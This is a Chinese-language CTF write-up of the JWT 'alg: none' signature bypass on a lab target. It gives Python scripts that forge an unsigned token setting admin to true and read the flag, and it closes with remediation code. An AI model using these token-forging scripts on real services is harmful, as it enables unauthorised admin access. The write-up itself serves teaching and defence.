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AI渗透测试 -- JWT签名算法置空攻击：一个\"none\"绕过所有验证

原创

yushao
yushao

网络安全者

2026年6月17日 09:02
河南

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一、测试概述

项目	内容
测试类型	CTF 靶场漏洞复现
漏洞类型	JWT Algorithm Confusion (alg: none)
危害等级	高危
测试时间	2025年
目标环境	CTF Show 靶场（已授权）

二、漏洞背景

JWT（JSON Web Token）由三部分组成：

Header.Payload.Signature

其中 Header 中的 alg 字段告诉服务端用什么算法验证签名。RFC 7518 中定义了一个特殊值 none，表示\"无签名算法\"。

漏洞成因： 部分 JWT 库在实现时直接信任客户端传来的 alg 字段，当攻击者将其篡改为 none 后，服务端跳过签名验证，导致任意用户可伪造合法 token。

三、信息收集

访问靶场首页，页面提示：

\"将 alg 字段修改为 none 来绕过签名验证\"

这直接揭示了攻击面。正常登录入口为 /login，GET 请求返回 405，确认为 POST 接口。

四、漏洞复现步骤

Step 1：获取普通用户 JWT

使用普通凭据登录，从 Cookie 中提取 token：

import requests

session = requests.Session()
resp = session.post(
    \"https://[REDACTED].challenge.ctf.show/login\",
    data={\"username\": \"user\", \"password\": \"user\"},
    allow_redirects=True
)

token = session.cookies.get(\"token\")
print(f\"[+] 获取到 Token: {token}\")

输出：

[+] 获取到 Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImFkbWluIjpmYWxzZX0.[SIGNATURE]

Step 2：解码 JWT 结构

import base64
import json

def b64_decode_padding(s):
    \"\"\"Base64 URL 解码，自动补 padding\"\"\"
    s += \"=\" * ((4 - len(s) % 4) % 4)
    return base64.b64decode(s)

token = \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImFkbWluIjpmYWxzZX0.[SIGNATURE]\"
parts = token.split(\".\")

header  = json.loads(b64_decode_padding(parts[0]))
payload = json.loads(b64_decode_padding(parts[1]))

print(f\"[*] Header:  {json.dumps(header,  ensure_ascii=False)}\")
print(f\"[*] Payload: {json.dumps(payload, ensure_ascii=False)}\")

输出：

[*] Header:  {\"alg\": \"HS256\", \"typ\": \"JWT\"}
[*] Payload: {\"user\": \"user\", \"admin\": false}

关键发现：admin 字段为 false，服务端以此判断权限。

Step 3：构造 alg:none 伪造 Token

import base64
import json

def b64_encode_nopad(data: bytes) -> str:
    \"\"\"Base64 URL 编码，去除 padding\"\"\"
    return base64.b64encode(data).decode().rstrip(\"=\")

# 篡改点1：alg 置为 none
forged_header  = {\"alg\": \"none\", \"typ\": \"JWT\"}
# 篡改点2：admin 提权为 true
forged_payload = {\"user\": \"user\", \"admin\": True}

header_b64  = b64_encode_nopad(json.dumps(forged_header,  separators=(\",\", \":\")).encode())
payload_b64 = b64_encode_nopad(json.dumps(forged_payload, separators=(\",\", \":\")).encode())

# 签名部分留空，服务端不再校验
forged_token = f\"{header_b64}.{payload_b64}.\"

print(f\"[+] 伪造 Token: {forged_token}\")

输出：

[+] 伪造 Token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ.

Token 结构分析：

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0   ← {\"alg\":\"none\",\"typ\":\"JWT\"}
.
eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ  ← {\"user\":\"user\",\"admin\":true}
.
                                          ← 签名为空

Step 4：携带伪造 Token 访问受保护资源

import requests

forged_token = \"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ.\"

session = requests.Session()
session.cookies.set(\"token\", forged_token)

resp = session.get(\"https://[REDACTED].challenge.ctf.show/\")
print(resp.text)

响应片段（敏感信息已脱敏）：

<title>恭喜获得 FLAG</title>
...

  Flag: CTF{jwt_n**e_a**_byp**s_su**ess}

Flag 成功获取。

五、攻击流程图

用户登录 (user/user)
        │
        ▼
获取正常 JWT (alg=HS256, admin=false)
        │
        ▼
解码 Header + Payload
        │
        ▼
篡改: alg=\"none\", admin=true
        │
        ▼
重新编码，签名置空
        │
        ▼
携带伪造 Token 请求 /
        │
        ▼
服务端: alg=none → 跳过签名验证
        │
        ▼
权限校验: admin=true → 返回 FLAG ✓

六、漏洞根因分析

存在漏洞的服务端伪代码：

# ❌ 危险实现：信任 token 自带的算法字段
def verify_token(token):
    header = decode_header(token)
    alg = header.get(\"alg\")          # 攻击者可控！

    if alg == \"none\":
        return decode_payload(token)  # 直接跳过验证
    else:
        return jwt.decode(token, SECRET_KEY, algorithms=[alg])

七、修复建议

方案一：硬编码允许的算法列表（推荐）

# ✅ 安全实现：服务端强制指定算法，不信任客户端
import jwt

def verify_token(token):
    try:
        payload = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=[\"HS256\"]  # 白名单，明确排除 none
        )
        return payload
    except jwt.InvalidTokenError:
        return None

方案二：使用非对称算法（RS256/ES256）

# 私钥签发（服务端保管）
token = jwt.encode(payload, PRIVATE_KEY, algorithm=\"RS256\")

# 公钥验证（可公开），攻击者无法伪造签名
jwt.decode(token, PUBLIC_KEY, algorithms=[\"RS256\"])

方案三：升级 JWT 库版本

主流库（如 PyJWT >= 2.0）已默认拒绝 alg: none，确保依赖为最新版：

pip install \"PyJWT>=2.0.0\"

八、总结

步骤	操作
1	用普通账号登录，获取含 `admin:false` 的 JWT
2	Base64 解码，分析 token 结构
3	将 `alg` 改为 `none`，`admin` 改为 `true`
4	签名段置空，重新拼接 token
5	服务端跳过验证，以管理员身份响应